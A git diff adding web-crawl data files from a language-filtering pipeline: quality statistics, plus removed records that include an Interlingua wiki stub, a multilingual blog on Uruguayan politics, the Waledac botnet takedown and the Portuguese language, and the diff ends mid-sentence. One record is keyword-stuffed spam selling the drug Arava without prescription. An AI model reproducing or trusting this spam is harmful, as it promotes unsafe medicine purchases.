a/gud_Latn/fineweb-2_000001_stas.jsonl b/gud_Latn/fineweb-2_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..33e1c10b0578fc4a764b9edfaa0052eb9600d3d4 --- /dev/null +++ b/gud_Latn/fineweb-2_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 593.25, + "character_repetition_ratio": 0.056249999999999994, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.31425, + "stopwords_ratio": 0.45675000000000004, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 400.814405304999, + "character_repetition_ratio": 0.024304063446263464, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.014376630342329886, + "stopwords_ratio": 0.027261465477849866, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.0, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 571.5, + "character_repetition_ratio": 0.065, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.321, + "stopwords_ratio": 0.4535, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 1181.0, + "character_repetition_ratio": 0.079, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.325, + "stopwords_ratio": 0.495, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 49.0, + "character_repetition_ratio": 0.016, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.29, + "stopwords_ratio": 0.425, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 998.6000000000001, + "character_repetition_ratio": 0.0766, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.325, + "stopwords_ratio": 0.48719999999999997, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 725.0, + "character_repetition_ratio": 0.073, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.325, + "stopwords_ratio": 0.4755, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 571.5, + "character_repetition_ratio": 0.065, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.321, + "stopwords_ratio": 0.4535, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 439.75, + "character_repetition_ratio": 0.04825, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.31025, + "stopwords_ratio": 0.43474999999999997, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "total size": "4", + "keep size": "3", + "remove size": "1" + } +] \ No newline at end of file diff --git a/ina_Latn/fineweb-2_000001_remove.jsonl b/ina_Latn/fineweb-2_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..86eabeaf1b3aedc29ef7f28e0b1937ef6d7ae059 --- /dev/null +++ b/ina_Latn/fineweb-2_000001_remove.jsonl @@ -0,0 +1,859 @@ +{"text":"Categoria:Ecclesia de Jesus Christo del Sanctos del Ultime Dies\nDe Wikipedia, le encyclopedia libere\nWikimedia Commons ha archivos multimedia de: Ecclesia de Jesus Christo del Sanctos del Ultime Dies\nArticulos in le categoria \"Ecclesia de Jesus Christo del Sanctos del Ultime Dies\"\nIste categoria contine solmente le sequente pagina.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/ia.wikipedia.org\/wiki\/Categoria:Ecclesia_de_Jesus_Christo_del_Sanctos_del_Ultime_Dies","date":"2013-12-11T00:50:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164028001\/warc\/CC-MAIN-20131204133348-00027-ip-10-33-133-15.ec2.internal.warc.gz","language":"ina","language_score":0.9980293512,"language_script":"Latn","minhash_cluster_size":44,"top_langs":"{\"ina_Latn_score\": 0.998029351234436}","num_words":62,"character_repetition_ratio":0.139,"word_repetition_ratio":0.151,"special_characters_ratio":0.162,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":154.2,"cluster_detection":-1} +{"text":"Compra Arava Generico sin receta en FARMACIA\n- 100% Garantía de Satisfacción!\n- 24\/7\/365 Apoyo de Cliente!\n- Entrega rápido mundial!\n- LOS MEJORES PRECIOS\nComprar Arava!>\nRelated Tags:\nArava en méxico evenArava gratuiti\nArava non receta\nfarmacia Arava pharmacy\nArava botica\nArava envío comprimido tengo\nfarmacia Arava\nfarmacia compro Arava\nArava farmacia free\nenviar Arava días\nmedicamento en line AravaArava adquisición\nArava compra\nbuy Arava online en españa\nArava de cocinaArava farmacia gratuito sin\nArava receta medica\nAravavender cont rebaja\nbotica comprar Arava\nArava en méxico without\nArava comprar barato\nbuy AravaArava sin receta medica\nbuy Arava online indicación\nArava en españa\nArava medicamento live\nArava a bajo precio\nArava en uruguay\ncompra Arava en españa\nArava comprar con la rebaja\nArava en linea\nArava farmacia en albeaArava farmacia en\nArava boneco en subasta\nArava en méjico online\nfarmacia Arava online\nbajo Arava farmacia\nArava comprimido not receta\ncomprar em portugal Aravacompra comprimido Arava mgbuy Arava online de gracia\nArava envío píldora usd eur\nArava precio venta\nArava no receta venta\nArava rematar con descuento\nArava en barcelona\nArava farmacia non receta\nArava conceder descuento\nArava farmacia en venezuela\ncompra Arava sin receta\nbuy Arava online en chile\nbuy Arava online en andorraArava farmacia en angola\nArava mandar a domicilioArava descuentos\nArava kostenlos\ncomprimido comprar Arava\nbueno precio Arava farmacia\nargentina comprar AravaArava libre\nArava envío\nArava saldo\nArava comprimidoArava farmacia borato\nArava venta4net en subasta\nArava píldora envio gratis\nArava venta en subasta\nArava a poco precioArava medicamento en laneArava en grandvalira\nbuy Arava online bajoArava farmacia sin receta\ncompra comprimido Arava\nfarmacia compra Arava\nArava gratis farmacia\nbuy Arava online descuentoArava de gracia\nArava bork en subasta\nArava en australia\nArava bajo\nArava compra tableta acuista\ncon descuento comprar Arava\ncomprimido Arava\nsaldo Arava on line\nArava enviar medicina amigo\nArava farmacia en spain\nprecio Arava sin receta\ncomprar Arava sin receta\nespaña comprar Arava\nbarato comprar Arava\nArava barato farmacia online\nfarmacia en linea Arava\nArava farmacia en brazil\nArava es de venta libre\nArava icon descuento\nArava descuento pharmacy\nArava en chile\nArava en méjico cheap\nfarmacia Arava cheap\nArava a poco precio genericoArava medicamento internetArava farmacia en punto\nArava rematar cont descuento\nArava en cubaArava barattoArava enviar medicamento se\nperú Arava genericoArava farmacia gratuito te\nArava a poko precio\nArava farmacia en bravo\nArava farmacia compro Arava\nbuy Arava online comprar\nArava perú logo farmacia\nandorra Arava farmacia\nArava farmacia en encamp\nArava farmacia píldora ha\nbuy Arava in mexico\nArava compro comprimido\nArava bajo receta\nArava en buenos aires\nArava saldo buy online\nbuy Arava online sin receta\nArava compro tableta\nbuy Arava online no receta\nArava en angola\ncompra píldora Arava\nArava bueno precio\nArava gratis pildoras\nArava farmacia en croma\nArava farmacia baratro\nArava píldora\nfarmacia buy Arava online\nArava en argentina\nArava en argentina\nArava gratis comprar\nArava ventafax en subasta\nArava en méxico generic\nArava venderse cont receta\nfarmacia merca Arava\nArava a boost precio\nArava indicaciónArava no receta\ncomprar Arava\nArava libra\nArava farmacia en austriaArava en perú farmacia\nArava farmacia costar poko\nbotica Arava años\nfarmacia Arava en\nArava barato\nArava farmacia en chile\nArava comprar farmacia\nArava en españa de marca\nbajo vendo Arava\nArava farmacia en monaco\nbotica Arava\nArava farmacia\ncomercialización uno AravaArava bajo foro\nArava en méxico\nArava en méjico discount\nArava medicamentoArava baratro\nbajo compra Aravacompro píldora Arava\nArava farmacia en uruguay\nArava sin receta farmacia\nArava farmacia en bolivia\nArava en brazil\nbuy Arava online libreArava en la massanaArava con descuento pharmacy\nArava en austria\nArava bajo el precio\nbarato per comprimido Arava\nArava bueno precio mejor\nperú vendo Arava\nArava vendor con rebaja\nArava farmacia en sedici\nfarmacia Arava comprar\nArava gratis venta\nArava farmacia baratto\nArava sin receta\nArava farmacia de guardia\nmedicamento online Arava\nArava medicamento en\nbarato espana Arava\nArava medicamento en light\nbuy Arava online barato\nbotica buy Arava online\nArava envío aire comprimido\nArava farmacias en lima peru\nArava sin receta comprimido\nbajo comprar Arava\nchile Arava precio enArava a bajo comprar\nArava medicamento english\nArava cont descuentoargentina Arava precio\nperú comprar Arava\nbajo Arava generico\nperú tomar Arava\nArava paquete postal uno\nArava con descuento\ndescuento Arava for sale\nArava en monaco\nfarmacia comprar Arava\nArava en andorra\npoco precio Arava naturalArava farmacia costar boost\nbuy Arava online en méxico\nargentina Arava soft\nArava farmacia en australia\nArava conceder la rebaja\nbuy Arava online precio\nfarmacia buy Arava\nenvío medicine Arava\nAravacomprimido sin receta\nbarato compra Arava\nArava farmacia barato topic\nbarato Arava comprar\nArava comprimido non receta\nArava sin receta acheter\nArava farmacia en la massana\nArava farmacia en mexico\nbotica Arava farmacia online\nArava medicina\nArava farmacia salda\nArava en méjicoandorra tomar AravaArava pastilla\ncomprimido enviar Arava\nno receta comprar Arava\nArava farmacia en australia\nArava descuento precios\nArava farmacia merca local\ncompra Arava\nArava farmacia corning poco\nArava gratis\nArava venderse con receta se\nArava mercaArava genericoArava farmacia en cuba\nArava en spain\nsaldo\nArava redescuento\nArava bajo entrega\nArava enviar medicinefarmacia Arava baratos\nenviar Arava buy\nArava compra tableta\ncompra tableta Arava online\nArava en venezuela\nArava en line\nArava descuento generico\nArava precio\nArava en méxico canada\nArava comercialización\nAravacompra píldora farmacia\nArava barato euro per\nbuy Arava online en perú\nArava envío medicina carrerafarmacia on line Arava\nArava en encamp\ncomprimido Arava receta\nfarmacia non receta Aravabarato Arava mg\nméjico comprar Arava\nenvío medicin Arava\nArava en méjico buy cheap\nArava comprar de marca\nArava farmacia buy\nArava compro pastilla\nArava bajo venta\nbuy Arava online gratis\nArava descuento\nArava saldo generic levitra\nArava en méxico online\nArava farmacia en ducato\ndescuento Arava comprar\nArava venderse sin recetaArava comprar\nArava precio en farmacia\nArava enviar\nArava precio natural\nbotica Arava comprar online\nArava enviar medicin\nArava tableta\nArava con descuento approved\nandorra Arava comprar\nArava comprimido compra eurocomprar Arava de descuento\nenviar Arava buy onlineArava en perú\nperú costo del Arava\nArava bajo compra\nArava mandar a domicilio cel\nArava en boliviaArava farmacia en barcelona\nArava a bajo precio generico\nfarmacia en andorra Arava\nArava en mexicoArava online","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/flavors.me\/en_ligne_arava_acheter_1","date":"2013-12-06T05:50:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049615\/warc\/CC-MAIN-20131204131729-00097-ip-10-33-133-15.ec2.internal.warc.gz","language":"ina","language_score":0.3574097157,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3574097156524658, \"por_Latn_score\": 0.23710957169532776, \"gug_Latn_score\": 0.06959094107151031, \"hrx_Latn_score\": 0.0312645323574543, \"cat_Latn_score\": 0.0298172514885664, \"spa_Latn_score\": 0.027805864810943604, \"ita_Latn_score\": 0.025106536224484444, \"vec_Latn_score\": 0.024285126477479935, \"glg_Latn_score\": 0.01781473308801651, \"epo_Latn_score\": 0.01243375800549984, \"nap_Latn_score\": 0.012404859066009521, \"lmo_Latn_score\": 0.010451837442815304, \"tbg_Latn_score\": 0.010432090610265732}","num_words":1933,"character_repetition_ratio":0.172,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.193,"perplexity_score":14271.5,"cluster_detection":-1} +{"text":"Sunday, February 28, 2010\n(Languages of this post: Interlingua, Spanish, Portuguese, English)\nLe presdente electe de Uruguay, José Mujica, diceva le domenica que su preferentia pro le presidentia del Brasil es le candidato de Lula, Dilma Roussef.\nIlle anque parlava del difficultates que confronta su pais in relation con le commercio intra Mercosur, que se trova plen de problemas debite al difficultates de dominio industrial de São Paulo in le region.\n\"Nunc, pro esser un leader, il es necesse exercitar le rolo de leader, e pro exercitar iste rolo on ha besonio del generositate\", diceva le vice-presidente de Mujica Danillo Astori. \"Le grande leaders de Europa ha essite multo generose sur le possibilitates de disveloppamento in le paises plus parve del Union Europee\".\nLe duo homines anque parlava sur le absentia del Statos Unite e Canada durante le recente reuniones del Gruppo de Rio.\n\"Le objectivo non es excluder le Statos Unite e Canada, ma provider al paises del America latin institutiones que functiona de forma secur de maniera que iste paises pote resolver lor proprie problemas intra lor proprie orbitas politic\", diceva Astori, \"e Uruguay vole haber le melior relationes possibile con le Statos Unite\".\n---\nEn una entrevista, el presidente electo de Uruguay dijo que a él le gustan las mujeres en el poder.\nEl presidente electo de Uruguay, José Mujica, dijo el domingo que su preferencia para la presidencia de Brasil es la candidata de Lula, Dilma Roussef.\nTambién habló de las dificultades que enfrenta su país en relación con el comercio dentro del Mercosur, que está lleno de problemas debido a las dificultades de dominio industrial de São Paulo en la región.\n\"Ahora, para ser un líder, hay que ejercer el liderazgo, y para ejercer el liderazgo es necesaria la generosidad\", dijo el vicepresidente de Mujica, Danilo Astori. \"Los grandes líderes de Europa han sido muy generosos acerca de las posibilidades de desarrollo en los países más pequeños de la Unión Europea\".\nLos dos hombres también hablaron sobre la ausencia de los Estados Unidos y Canadá durante las recientes reuniones del Grupo de Río\n\"El objetivo no es excluir a los Estados Unidos y Canadá, sino proporcionar a los países de América Latina instituciones que funcionen de forma segura para que estos países puedan resolver sus propios problemas dentro de sus propias órbitas políticas\", dijo Astori, \"y Uruguay quiere tener las mejores relciones posibles con los Estados Unidos\".\n---\nEm entrevista, o presidente eleito do Uruguai disse que gosta de mulheres no poder.\nO presidente eleito do Uruguai, José Mujica, disse domingo que a sua preferência para a presidência do Brasil é o candidato de Lula, Dilma Rousseff.\nEle também falou das dificuldades que o seu país tem no âmbito do comércio dentro do Mercosul, que está cheio de problemas por causa das dificuldades do domínio industrial de São Paulo na região.\n\"Agora, para ser líder, é necessário exercer a liderança, e para exercer a liderança é necessário ter generosidade\", disse o vice-presidente de Mujica, Danilo Astori. \"Os grandes líderes da Europa têm sido muito generosos quanto às possibilidades de desenvolvimento dos pequenos países da União Europeia\".\nOs dois homens falaram ainda sobre a ausência de Estados Unidos e Canadá durante as recentes reuniões do Grupo do Rio.\n\"O objetivo não é excluir os Estados Unidos e Canadá, mas proporcionar aos países latino-americanos instituições que funcionem de forma segura para que estes países possam resolver seus próprios problemas dentro de suas próprias órbitas políticas\", disse Astori, \"e o Uruguai quer ter as melhores relações possíveis com os Estados Unidos\".\n---\nIn an interview, the president-elect of Uruguay said that he likes women in power.\nThe president-elect of Uruguay, José Mujica said on Sunday that his preference for the presidency of Brazil is Lula's candidate, Dilma Rousseff.\nHe also spoke of the difficulties facing his country in connection with trade within Mercosur, which is full of problems because of Sao Paulo's industrial dominance in the region.\n\"Now, to be a leader, you must exercise leadership, and to exercise leadership you must be generous,\" said Mujica's vice president, Danilo Astori. \"The great leaders of Europe have been very generous regarding the possibilities of development in the smaller countries of the European Union.\"\nThe two men even talked about the absence of the United States and Canada during the recent meetings of the Rio Group\n\"The goal is not to exclude the United States and Canada but to provide the countries of Latin American with institutions that function safely so that these countries can solve their own problems within their own political orbits,\" said Astori, \"and Uruguay wants to have the best possible relations with the United States.\"\nPosted by hkyson at 8:09 PM\n(Languages of this post: Interlingua, Spanish, English)\nLe nove governamento de Uruguay ha planos pro inaugurar un programma de austeritate que se characterisa per le practicas personal de su presidente electe, José Mujica, ma su ideas continua a causar controversias inter alicunes de su compatriotas.\nJam durante su campania electoral, Mujica habeva annunciate que le sue esserea un governamento auster, que cercarea sparniar, evitar guastos, e dar signales de cambio in le forma de usar le patrimonio e le moneta del stato.\nPro sparniar moneta pro le stato, pro exemplo, Mujica ha solicitate donationes de US$15.000 de dece grande companias pro le financiation del ceremonia de su inauguration.\nMujica anque diceva que ille non accipera plus que le tres quarte partes de su salario, e que ille exigera que su ministros monstra sobrietate usante autos plus economic fabricate in le region, e anunciava que ille vole vender le casa que le presidentia ha in Punta del Este, le principal station balnear del pais, proque ille non lo usara.\nMa pro multes, includente le presidente Tabaré Vásqzuez, iste enthusiasmo pro le austeritate esseva troppo radical, specialmente con le idea de Mujica de pagar le acto de cambio de administrationes le proxime lunedi con donationes de corporationes.\nIste idea esseva durmente criticate, tanto per le opposition como per le majoritate del sectores del leve. Ma le criticas le plus forte veniva del coordinator del syndicato del travaliatores PIT CNT, Juan Castillo, qui assecurava que de ille maniera on stava a \"privatisar\" un acto constitutional.\nMujica se defendeva arguente que un presidente non se pote facer comprar a cambio de solmente US$15.000.\nAltere criticios trovava inappropriate que le moneta veni de interprisas, alicunes del quales se trova unite al governamento per contractos e concessiones.\nAnte unes septimanas, in un de su prime reuniones con su futur consilio de ministros, le proxime presidente diceva que su governamento essera characterisate per le \"prudentia fiscal\".\n\"Nostre functionarios anque non ha le necessitate de autos con motores de 2,5 litros o automobiles japonese o american\", diceva Mujica, \"e a causa del factores limitante de un economia in recession, il es necesse utilisar le plus efficacemente le ressources del stato.\nIn altere signales de austeritate e in harmonia con su stilo de sobrietate, Mujica continuara a viver in su casa, un ferma que se trova multo presso Montevideo.\nIlle anque continuara a viagiar in un parve auto modeste, un Chevrolet Corsa, que es le proprietate del MPP, ben que ille clarificava que in alicun occasiones appropriate ille viagiara in autos official plus grande e car.\nMujica anque solicitava a su ministros que illes seque ille practica e utilisa automobiles economic fabricate in le region.\nMa ille anque diceva que ille usara le helicoptero official, pro poter arrivar rapidemente a omne le punctos del pais.\nLe leaders del region, assi como le Secretaria de Stato del Statos Unite, Hillary Clinton, e le prince Felipe de Asturias, representante del rege Juan Carlos de Espania, essera presente in le ceremonia.\n---\nPolémica en Uruguay provocada por su nuevo gobierno conservador\nEl nuevo gobierno de Uruguay tiene planes para inaugurar un programa de austeridad que se caracteriza por las prácticas personal de su presidente electo, José Mujica, pero sus ideas siguen causando controversias entre algunos de sus compatriotas.\nYa durante su campaña electoral, Mujica había anunciado que el suyo sería un gobierno austero, en el que buscaría ahorrar, evitar derroches y dar señales de cambio en la forma de usar el patrimonio y los fondos del estado.\nPara ahorrar dinero para el estado, por ejemplo, Mujica ha solicitado donaciones de US$15.000 de diez grandes empresas para la financiación de la ceremonia de su inauguración.\nMujica también dijo que no aceptará más de las tres cuartas partes de su sueldo, exigirá que sus ministros muestren sobriedad por el uso de autos fabricados en la region que son más económicos, y anunció que quiere vender la casa que la presidencia tiene en Punta del Este, principal balneario del país, porque no la usará.\nPero para muchos, incluyendo al presidente Tabaré Vázquez, este afán por la austeridad fue demasiado radical, especialmente con la idea de Mujica de solventar el acto de transmisión de mando del próximo lunes con donaciones de empresas.\nEsta idea fue duramente criticada, tanto por la oposición como por la mayoría de los sectores de la izquierda. Pero las críticas más fuertes provinieron del coordinador del sindicato de los trabajadores PIT-CNT, Juan Castillo, quien aseguró que de esa forma se estaba \"privatizando\" un acto constitucional.\nMujica se defendió argumentando que un presidente no se puede comprar por sólo US$ 15.000.\nOtros críticos señalaron que no les parece adecuado que el dinero provenga de empresas, algunas de las cuales están unidas al gobierno por contratos y concesiones.\nHace unas semanas, en una de sus primeras reuniones con su futuro gabinete de ministros, el próximo mandatario dijo que su gobierno estará caracterizado por la \"prudencia fiscal\".\n\"Tampoco tienen nuestros funcionarios por qué tener autos de motor de 2,5 litros ni automóviles japoneses ni americanos\", dijo Mujica, \"y debido a los factores limitantes de una economía en recesión, hay que hacer rendir al máximo los recursos del estado\".\nEn otras señales de austeridad y en harmonía con su estilo de sobriedad, Mujica continuará viviendo en su casa, una granja que está muy cerca de Montevideo.\nTambién seguirá viajando en un pequeño auto modesto, un Chevrolet Corsa, propiedad del MPP, aunque aclaró que en algunas ocasiones apropiadas viajará en autos oficiales, más grandes y caros.\nMujica también solicitó a sus ministros que sigan esa práctica y se sirvan de automóviles económicos fabricados en la región.\nLo que sí dijo que usará es el helicóptero oficial, para poder llegar rápidamente a todos los puntos del país.\nLos mandatarios de la región, así como la Secretaria de Estado de Estados Unidos, Hillary Clinton, y el príncipe Felipe de Asturias, representante del rey Juan Carlos de España, estarán presentes en la ceremonia.\n---\nControversy in Uruguay provoked by its new conservative government\nUruguay's new government has plans to inaugurate an austerity program characterized by the personal practices of its president elect, Jose Mujica, but his ideas are still causing controversies among some of his countrymen.\nAlready during his election campaign, Mujica had announced that he would run an austere government, which would seek to save money, prevent waste, and signal change in its way of using the state's assets and funds.\nTo save money for the state, for example, Mujica has asked for donations of $15.000 from ten large companies for financing his inauguration ceremony.\nMujica also said he will not accept more than three-quarters of his salary, will require his ministers to show restraint by using cars made in the region that are more economical, and he announced that he wants to sell the presidential mansion at Punta del Este, the country's main resort, because he won't use it.\nBut for many, including President Tabaré Vázquez, this enthusiasm for austerity has gone too far, especially with Mujica's idea of paying for his inauguration next Monday through corporate donations.\nThis idea was harshly criticized by both the opposition and the majority of sectors on the left. But the strongest criticism came from the coordinator of the PIT-CNT workers' union, Juan Castillo, who said he was thus \"privatizing\" a constitutional act.\nMujica defended himself by arguing that a president cannot be bought for a mere $15,000.\nOther critics noted that they find it inappropriate that the money comes from private companies, some of which are connected with the government through contracts and concessions.\nA few weeks ago, in one of his first meetings with his future cabinet, the next president said his government will be characterized by \"fiscal prudence.\"\n\"Our officials also don't need to have cars with 2.5 liter engines or Japanese or American automobiles,\" said Mujica, \"and because of the limiting factors of a recessionary economy, the resources of the state must yield a maximum benefit.\"\nIn other signs of austerity, and in harmony with his style of sobriety, Mujica will continue living at his home, a farm that is very close to Montevideo.\nHe will continue traveling in a modest car, a Chevrolet Corsa belonging to the MPP, though he added that on some appropriate occasions he will travel in larger and more expensive cars.\nMujica also asked his ministers to follow that practice and make use of low-priced cars manufactured in the region.\nHe did say he would use the official helicopter so that he could move rapidly to all parts of the country.\nThe leaders of the region, as well as the US Secretary of State, Hillary Clinton, and Prince Felipe of Asturias, the representative of King Juan Carlos of Spain, will be present at the ceremony.\nPosted by hkyson at 6:15 PM\n(Languages of this post: Interlingua, Spanish, Portuguese, English)\nMicrosoft va a essayar a clauder un rete informatic que esseva responsabile pro le invio de plus que 1,5 milliones de messages diarie de e-mail spam.\nLe compania esseva autorisate per un tribunal american a clauder 277 dominios de Internet, que secundo Microsoft ha essite le controlatores de un botnet, un parola que in le linguage del hackers significa un serie de computatores infectate per viruses electronic.\nLe clausura del dominios del botnet Waledac debe, secundo Microsoft, liberar 90 mille computatores private que sta a inviar spam sin le cognoscimento de lor proprietarios.\nUn studio recente de Microsoft ha discoperite que inter le 3 e 21 de decembre, 651 mille milliones de e-mails de spam proveniente de Waledoc esseva inviate a contos de Hotmail.\nEcce alicun cosas que vos pote facer pro adjuvar a proteger vostre computator:\n(1) Usar programmas antivirus e antispyware;\n(2) Actualisar le filtros al minus un vice per septimana;\n(3) Instalar un firewall e verificar si illo se trova ben connectate;\n(4) Verificar si le systema ha le actualisationes le plus recente;\n(5) Explicar al familia le riscos potential de logiciel periculose e hostil in Internet; e\n(6) Supervisar le activitates in le computator del familia e remaner alerte al attaccos.\nLe Waledac es un del plus grande retes de bots in le Statos Unite.\nIn general, le machinas utilisate in iste tipo de rete pirata es infectate per viruses o programmas hostil appellate vermes sin le cognoscimento de lor proprietarios que lor computatores ha essite invadite.\nMicrosoft dice que ben que illo jam ha claudite iste periculose rete, milles de computatores totevia pote esser infectate e suggere le uso caute del programmas antivrus actualisate.\n---\nMicrosoft va a combatir la basura virtual.\nMicrosoft tratará de cerrar una red informática que fue responsable del envío de más de 1,5 millones de mensajes diarios de correo basura.\nLa compañía fue autorizada por un tribunal norteamericano a cerrar 277 dominios de Internet, que según Microsoft han sido los controladores de un botnet, palabra que en la jerga de los hackers significa una serie de computadoras infectadas por virus electónicos.\nEl cierre de los dominios del botnet Waledac debe, debe, según Microsoft, liberar 90 mil computadoras particulares que están enviando spam sin el conocimiento de sus propietarios.\nUn estudio reciente de Microsoft ha descubierto que entre el 3 y 21 de diciembre, alrededor de 651 mil millones de e-mails de spam provenientes de Waledac fueron enviados a cuentas de Hotmail.\nHe aquí algunas cosas que usted puede hacer para ayudar a proteger su computadora:\n(1) Usar programas antivirus y antispyware;\n(2) actualizar los filtros al menos una vez a la semana;\n(3) Instalar un firewall y verificar si está bien conectado;\n(4) Comprobar si el sistema tiene las actualizaciones más recientes;\n(5) Explicar a la familia los riesgos potenciales de software peligroso y hostil en la Internet; y\n(6) Supervisar las actividades en la computadora de la familia y permanecer alerto a los ataques.\nEl Waledac es una de las más grandes redes de bots en los Estados Unidos.\nEn general, las máquinas utilizadas en este tipo de red pirata son infectadas por virus o programas hostiles llamados gusanos sin el conocimiento de sus dueños que sus computadoras han sido invadidas.\nMicrosoft dice que aunque ya se ha cerrado esta peligrosa red, miles de computadoras todavía pueden estar infectadas y sugiere el uso cuidadoso de los programas antivirus actualizados.\n---\nMicrosoft vai lutar contra o lixo virtual.\nMicrosoft vai tentar desligar uma rede de computadores que seria responsável pelo envio de mais de 1,5 bilhão de mensagens diárias de lixo eletrônico.\nA empresa foi autorizada por um tribunal americano a fechar 277 domínios da internet que segundo a Microsoft seriam os controladores de uma rede botnet, palavra que no jargão dos hackers significa uma série de computadores infectados e controlados por virus eletrônicos.\nO fechamento dos domínios da botnet Waledac deve, segundo Microsoft, liberar 90 mil computadores particulares que estariam enviando spam sem o conhecimento de seus proprietários.\nUma pesquisa recente da Microsoft descobriu que entre 3 e 21 de dezembro, aproximadamente 651 milhões de e-mails de spam provenientes da Waledac foram enviados a contas de Hotmail.\nAqui estão algumas coisas que você pode fazer para ajudar a proteger seu computador:\n(1) Usar programas antivírus e antispyware;\n(2) Atualizar os filtros pelo menos uma vez por semana;\n(3) Instalar um firewall e verificar se ele está ligado;\n(4) Verificar se o sistema tem as últimas atualizações;\n(5) Explicar à família os riscos potenciais de software perigoso e hostil na Internet; e\n(6) Monitorar atividades da família no computador e ficar alerto a ataques.\nA Waledac seria uma das dez maiores botnets dos Estados Unidos.\nGeralmente, as máquinas usadas neste tipo de rede pirata são infectadas por vírus ou programas hostis chamados \"vermes\" sem sem o conhecimento de seus proprietários que seus computadores foram invadidos.\nMicrosoft diz que embora já encerrou esta rede perigosa, milhares de computadores ainda podem ser infectados e sugere o uso cuidadoso de programas antivírus atualizados.\n---\nMicrosoft is going to fight against virtual garbage.\nMicrosoft is going to try to shut down a computer network responsible for sending out more than 1.5 billion junk-mail messages each day.\nThe company was authorized by a U.S. court to shut down 277 Internet domains, which according to Microsoft control a botnet, a word that in hacker slang means a series of infected computers controlled by electronic viruses.\nThe closing of the the Waledac botnet domains should, according to Microsoft, clean up 90 thousand individually owned computers that are sending out spam without the knowledge of their owners.\nA recent study has found that between December 3 and 21 about 651 million spam e-mails coming from Waledac were sent to Hotmail accounts.\nHere are some things that you can do to help protect your computer:\n(1) Use antivirus and antispyware;\n(2) Update the filters at least once a week;\n(3) Install a firewall and check to see if it is connected;\n(4) Verify that the system has the latest updates;\n(5) Explain to the family the risks of dangerous and hostile software on the Internet; and\n(6) Monitor family activities on the computer and stay alert to attacks.\nWaledac is one of the largest botnets in the United States.\nGenerally, the machines used in this type of pirate network are infected by hostile programs called \"worms\" without the knowledge of their owners that their computers have been invaded.\nMicrosoft says that although it has already closed down this dangerous network, thousands of computers still may be infected and suggests the careful use of updated antivirus programs.\nPosted by hkyson at 8:26 AM\n(Langauges of this post: Interlingua, Spanish, Portuguese, English)\nLe portugese jam es un del 10 linguas plus parlate in le mundo, ma pauc personas decide apprender lo como adulto. Esque le ascenso del economia brasilian esserea sufficiente pro vider un augmento in le numero de studentes de portugese?\nTomás Alvarez, qui scribeva un breve articulo sur iste thema in anglese, admitte que \"pro convencer a parlantes non-native a investir lor ressources limitate in le travalio serie de apprender un nove lingua, le processo deberea esser vidite per le studentes como un medio utile pro accomplir un altere objectivo importante\".\nPro alicun personas, iste objectivo esserea le possibilitate de un empleo que paga plus moneta. Pro alteres, lo importante esserea parlar con su amantes o sponsos o sponsas in lor lingua native. Pro me personalmente, il es proque me place le son del portugese como lingua parlate--specialmente in le bucca del gente de Rio de Janeiro e Lisboa.\nComo le portugese es un del linguas le plus difficile de apprender, nos deberea perciper le Brasil vermente in le mercato mundial como un productor solide e significante de energia pro vider un resultato in nostre classes de linguas.\nSi isto occurre, non obstante, illes de inter nos qui es parlantes native del anglese e qui nos trova in le ponte inter le Brasil e le Statos Unite e le Regno Unite nos trovara in un position strategic proque nos parla portugese e anglese e cognosce un pauco sur le cultura del gente qui parla iste duo linguas. A vices nostre talentos pote esser utile pro nostre concitatanos, e illos sempre pote esser un fonte personal de diversion e satisfaction.\n---\n¿Cuánta energía sería necesaria para que el portugués se convierta en una lengua global?\nEl portugués ya es uno de los 10 idiomas más hablados en el mundo, pero pocas personas deciden aprenderlo como adulto. ¿Sería el ascenso de la economía brasileña suficiente para ver un aumento en el número de estudiantes de portugués?\nTomás Alvárez, quien escribió un breve artículo sobre este tema en inglés, admite que \"para convencer a los hablantes no nativos a invertir sus limitados recursos en la tarea seria de aprender un nuevo idioma, el proceso tendría que ser visto por los estudiantes como un medio valioso para lograr otro objetivo importante\".\nPara algunas personas, este objetivo sería la posibilidad de un empleo que pague más dinero. Para otros, lo importante sería hablar con sus novios, novias, esposos o esposas en su idioma nativo. Para mí, personalmente es porque me gusta el sonido del portugués como idioma hablado--sobre todo en la boca de la gente de Río de Janeiro y Lisboa.\nDesde que el portugués es uno de los idiomas más difíciles de aprender, tendríamos 